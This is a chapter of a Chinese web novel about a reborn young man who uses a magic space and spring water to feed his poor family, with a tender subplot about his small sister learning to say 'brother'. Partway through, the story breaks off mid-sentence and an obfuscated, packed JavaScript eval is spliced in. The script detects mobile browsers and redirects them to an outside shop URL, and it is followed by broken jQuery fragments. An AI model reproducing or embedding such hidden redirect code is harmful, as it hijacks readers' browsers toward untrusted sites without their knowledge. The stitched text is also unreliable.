玉米掰回来的第三天，林晨开始脱粒。
夜里，全家都睡了。他摸进空间，把木屋里摊了一地的玉米棒子搬出来，坐在黑土地边上，一个一个地搓。玉米粒从棒子上剥下来，金灿灿的，落进竹筐里，哗啦哗啦响。
空间里没有风，只有头顶的白光，暖洋洋的。他搓了半个时辰，搓了两筐玉米粒。手掌搓红了，虎口发酸，但看着那两筐金黄的玉米粒，心里痛快。
脱完粒，他把玉米棒子芯堆在墙角，留着烧火。玉米粒摊在木屋地上，让它们再干一干。等干透了，磨成面，就能掺进家里的粮缸了。
林晨站起来，走到井边，喝了几口水，灌满竹筒，出来，兑进水壶。
躺在炕上，念念的手又搭过来了。这几天，她已经习惯了睡觉的时候攥着他的衣角。林晨把她的手轻轻放回被窝，念念“嗯”了一声，翻了个身，嘴里嘟囔了一句什么。
第二天早上，念念自己起的。
不叫人叫，自己从被窝里爬出来，揉着眼睛走到灶房门口。
“妈，我饿了。”
母亲正在熬糊糊，听见声音回头看了一眼，愣了一下。
“你咋自己起来了？”
念念没回答，踮着脚尖往锅里看。锅里的糊糊咕嘟咕嘟冒泡，热气腾腾的，糊在她脸上，湿漉漉的。
“锅锅呢？”念念转头找。
“下地了。”
念念“哦”了一声，蹲在灶房门口，等吃饭。
熙熙从屋里出来，扎着辫子，手里拿着一本书。她蹲到念念旁边，翻了一页，指着上面的字说：“念念，这个字念‘天’。”
念念看了一眼，摇摇头：“不学。”
“学一个字，姐给你糖。”
“没有糖。”
“以后有了给你。”
念念想了想，指着那个字说：“天。”
熙熙笑了：“对了。再念一遍。”
“天。”
“好，记住了。明天问你。”
念念点点头，站起来跑进灶房，抱着母亲的腿：“妈，糊糊好了没？”
“好了好了。”母亲盛了一碗，放在桌上。
念念爬不上凳子，熙熙过来把她抱上去。念念捧着碗，吹了吹，喝了一口，眯起眼：“田。”
熙熙笑了：“糊糊甜？”
“嗯。”念念又喝了一大口，“锅锅说，甜的吃了长肉。”
“你哥什么都跟你说。”母亲端着碗站在灶台边，没坐下。
上午，熙熙去河边洗衣裳。
念念要跟着，熙熙不让：“你在家待着，河边滑。”
“我不怕。”
“我怕。你在家等哥回来。”
念念不听，跟在熙熙后面出了院门。熙熙走了几步，回头看她，她站在原地，噘着嘴，眼泪在眼眶里打转。
熙熙叹了口气，回来牵她的手。
“走，但你不许靠近河边。”
念念点头，眼泪还没掉下来就笑了。
河边已经有几个人了。李婶家的闺女翠花蹲在石板上搓衣服，看见熙熙，招招手：“熙熙，这儿有位子。”
熙熙走过去，把盆放在石板上，蹲下来。念念蹲在她旁边，小手伸进水里，凉得缩回来。
“凉。”念念甩甩手。
“说了不让你来。”熙熙把她的手拉回来，拿自己的袖子擦干。
翠花看着念念，笑了：“你妹跟你长得像。”
“人家都说像。”熙熙把衣服浸进水里，搓了两下，“她比我好看。”
“你好看。”念念忽然说。
熙熙愣了一下，然后笑了：“你还会说这样的话？”
“奶说的。奶说你好看。”
翠花笑出声来：“你妹有意思。”
念念蹲在旁边，不玩水了，看熙熙搓衣服。看了一会儿，伸手去拿盆里的衣服：“我帮姐洗。”
“你洗不了。”熙熙把衣服拿回来。
“我会。”
念念抢过一件小褂子，蹲到水边，拿小手搓。搓了两下，搓不动，水溅了一脸。她抹了一把脸，继续搓。
熙熙看着她，眼眶有点红，没拦。
翠花在旁边看着，说：“你妹真懂事。”
“嗯。”熙熙低下头，继续搓衣服。
洗完衣服，熙熙牵着念念往家走。念念手里拿着一块石头，是她在河边捡的，白色的，圆溜溜的。
“姐，这个给锅锅。”
“你哥要石头干啥？”
“好看。”念念把石头攥得紧紧的。
院门口，林晨正好收工回来，扛着锄头。
“锅锅！”念念跑过去，把石头举到他面前，“给你。”
林晨放下锄头，接过石头，看了看。白色的，光滑，像一颗鸽子蛋。
“哪儿捡的？”
“河边。”
“好看。”林晨把石头装进口袋，“哥留着。”
念念得意地笑了，拉着林晨的手往院里走。
中午吃饭的时候，念念忽然放下筷子，看着林晨。
“哥。”她说。
不是“锅锅”，是“哥”。
林晨愣了一下。
全桌都愣了一下。
母亲端着碗的手停住了，熙熙抬头看着念念。
念念又说了一遍：“哥。”
咬字不算清晰，“哥”字带着一点鼻音，像是从鼻子里哼出来的，但她确实说的是“哥”，不是“锅锅”。
林晨放下碗，嗓子眼发硬。
前世念念没学会叫哥。她三岁了，只会说“锅锅”，含含糊糊的，像是嘴里含着一颗糖。后来她病了，连“锅锅”都叫不出来了。
“念念。”林晨的声音有点哑，“再叫一遍。”
念念歪着头，看着他，像是奇怪他为什么让她再叫一遍。
“哥。”她说。
这回更清楚了。
熙熙在旁边笑了：“念念会叫哥了。”
母亲低头喝糊糊，喝了一口，停了一下，又喝了一口。林晨看见她的筷子在碗沿上搁着，手指微微发抖。
“妈。”林晨说。
母亲“嗯”了一声，没抬头。
念念不知道发生了什么，但她看见林晨眼睛红了，伸出小手，摸了摸他的脸。
“哥，你咋了？”
“没事。”林晨握住她的小手，“哥高兴。”
念念不懂什么叫高兴，但她听见“高兴”两个字，也跟着笑了。
“我也高兴。”
熙熙在旁边打趣她：“你知道什么叫高兴？”
“知道。”念念点点头，“就是甜甜的。”
母亲终于抬起头，看了念念一眼，眼眶红红的，但没掉眼泪。
“吃饭。”她说。
下午，林晨没下地。队上今天下午休息，明天开始播种。
他坐在院子里，把锄头拆了，用磨石磨锄刃。锄刃钝了，锄地费劲。磨石是旧的，磨了好几下才起锈水。
念念蹲在旁边，看他磨锄头。
“哥，你在干啥？”
“磨锄头。”
“磨了干啥？”
“磨快了锄地。”
念念“哦”了一声，蹲着看了一会儿，又问了：“地为啥要锄？”
“不锄不长粮食。”
“不长粮食我吃啥？”
林晨笑了：“你吃糊糊。”
念念想了想，说：“糊糊好次。”
林晨磨完了锄头，把磨石收起来。念念还在旁边蹲着，小手在地上画圈圈。
“念念，你今早跟姐去河边了？”
“嗯。”
“水凉不凉？”
“凉。”
“下次别玩水。”
“我没玩。”念念摇头，“我帮姐洗衣服了。”
林晨看了她一眼：“你会洗衣服？”
“会。”念念比划了一下，“搓，搓不动。”
林晨笑了，伸手摸了摸她的头。
傍晚，母亲在灶房里做饭。熙熙在油灯下写字。念念趴在桌上，拿小棍子在桌上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508787|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
画。
林晨走到东屋门口。
爷爷今天没下地，腿又疼了。他躺在炕上，腿上盖着棉被，闭着眼。
“爷，腿还疼？”
“不疼。”爷爷没睁眼。
奶奶坐在炕沿上，正在缝一件小褂子。是二叔寄来的布，母亲裁好了，奶奶缝。
“晨儿。”奶奶喊他。
“嗯。”
“你二叔下次来信，你跟他说，让他别寄那么多钱了。他自己也要过日子。”
“奶奶，二叔心里有数。”
“他心里有数，我也有数。”奶奶把针在头发上蹭了蹭，“他一个人在部队，连个知冷知热的人都没有。”
林晨没接话。
奶奶说的是二叔还没成家的事。二叔今年二十八了，按村里说，早该结婚了。但他一直在部队，顾不上。
“等二叔转业就好了。”林晨说。
“转业？那要等到啥时候。”奶奶叹了口气，继续缝。
夜里，林晨又进了空间。
玉米粒干得差不多了，他装了一小袋，大约五斤，磨成面。空间里有石磨，他推了半个时辰，磨出一小盆玉米面。面很细，金黄金黄的，凑近了闻，一股甜香。
他舀了一勺，放进嘴里，干的，但甜，不涩，不像外面的玉米面，咽下去的时候刮嗓子。
林晨把玉米面装进布袋，系好口子，放在木屋的架子上。
然后灌了竹筒泉水，出来，兑进水壶。
躺在炕上，他摸了摸炕席底下的钱。六毛一分，还在。又摸了摸口袋里的石头，白色的，圆溜溜的。
念念给他的。
他攥着石头，闭上眼。
第二天早上，念念又自己爬起来了。
她走到灶房门口，喊了一声：“哥。”
林晨正在烧火，回头看她。念念穿着那件改小的旧棉袄，头发翘着，眼睛还没完全睁开。
“哥。”她又喊了一声，声音比昨天大。
“听见了。”林晨笑了。
念念走到他旁边，蹲下来，把手伸到灶膛前面烤火。
“哥，今天冷。”
“春天了，不冷了。”
“冷。”念念把手举到他面前，“你摸。”
林晨摸了摸她的手，凉的。他把她的小手包在自己手心里，暖了一会儿。
“好点没？”
“好了。”念念抽出手，站起来，跑到水缸边，踮着脚尖往里看。
“看啥？”
“看化。”念念指着水缸，“没化了。”
水缸里空空的，昨天那束花已经蔫了，被母亲捞出去了。
“哥今天给你摘新的。”
“不要了。”念念摇头，“化会谢。我等它自己长出来。”
林晨愣了一下。
三岁的孩子，说这样的话。
他站起来，走到念念旁边，往水缸里看了一眼。水缸是空的，缸底有一层水垢，白花花的。
“等它长出来。”念念又说了一遍，像是在跟自己确认。
“好，等它长出来。”林晨说。
念念满意了，踢踢踏踏地跑回灶房，爬到凳子上，坐好，等着吃饭。
晨光从窗户纸透进来，落在她脸上。她的脸颊红扑扑的，不像半个月前那样苍白了。
林晨看着她的脸，心里算了一下。灵泉水喝了十二天了。每天一壶，兑在全家人的水里。
念念的变化最明显。从夜哭盗汗到一觉睡到天亮，从苍白的脸到有了血色，从含混的“锅锅”到清晰的“哥”。
林晨蹲下来，往灶膛里添了根柴。
火光照着他的脸。
他想起奶奶说的话：“你最近变了。”
他确实变了。前世他没本事，护不住任何人。这一世，他有空间，有灵泉，有一亩黑土地。
他要把念念养得白白胖胖，把母亲养得不用再喝清汤，把爷爷的腿治好，把熙熙送去读书。
这些事，一件一件来。
不着急。但也不能慢。